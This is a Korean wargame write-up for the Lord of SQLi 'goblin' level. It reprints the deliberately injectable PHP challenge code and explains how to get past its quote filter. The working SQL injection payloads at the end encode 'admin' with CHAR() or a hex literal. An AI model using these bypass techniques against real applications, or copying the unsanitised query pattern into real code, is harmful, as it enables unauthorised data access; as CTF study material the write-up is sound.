Lord of SQLi - goblin

> query : select id from prob_goblin w here id='guest' and no=

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__);
?>
```

- GET방식으로 파라미터를 전달하고 있다.
- URL로 전달할 수 있는 파라미터는 no 밖에 없다.
- 그러나 no는 싱글쿼터, 더블쿼터를 필터링하고 있다.

> select id from prob_goblin w here id='guest' and no=
> 싱글쿼터를 필터링하고 있지만 no 컬럼에서 싱글쿼터를 사용하지 않기 때문에 싱글쿼터를 사용하지 않고 풀 수 있다.

- 우선 guest의 no가 몇번 인지 알기 위해서 번호를 아무거나 대입하다가 1이라는 것을 알아냈다.
- 우리는 guest가 아닌 admin을 찾아내야 하기 때문에 id='guest' and no={} 이 부분을 거짓으로 만들고 admin을 select 해야 한다.
- no에서 싱글쿼터를 사용하지 않기 때문에 그냥 mysql구문을 사용할 수 있다.
  > or id='admin'
- 위와 같이 사용할 수 있지만 싱글쿼터를 필터링하기 때문에 두가지 방법을 사용하여 우회할 것이다.

1.

- 문자열관련 함수인 char() 함수를 이용하여 푼다.

2.

- mysql은 아스키코드의 hex값을 인식하는 특성을 이용하여 0x 형식의 HEX 값을 이용한다.

payload

> URL : http://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=99 or id=CHAR(97,100,109,105,110)
> or
> URL : http://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=99 or id=0x61646d696e

> query : select id from prob_goblin w here id='guest' and no=99 or id=CHAR(97,100,109,105,110)
> or
> query : select id from prob_goblin w here id='guest' and no=99 or id=0x61646d696e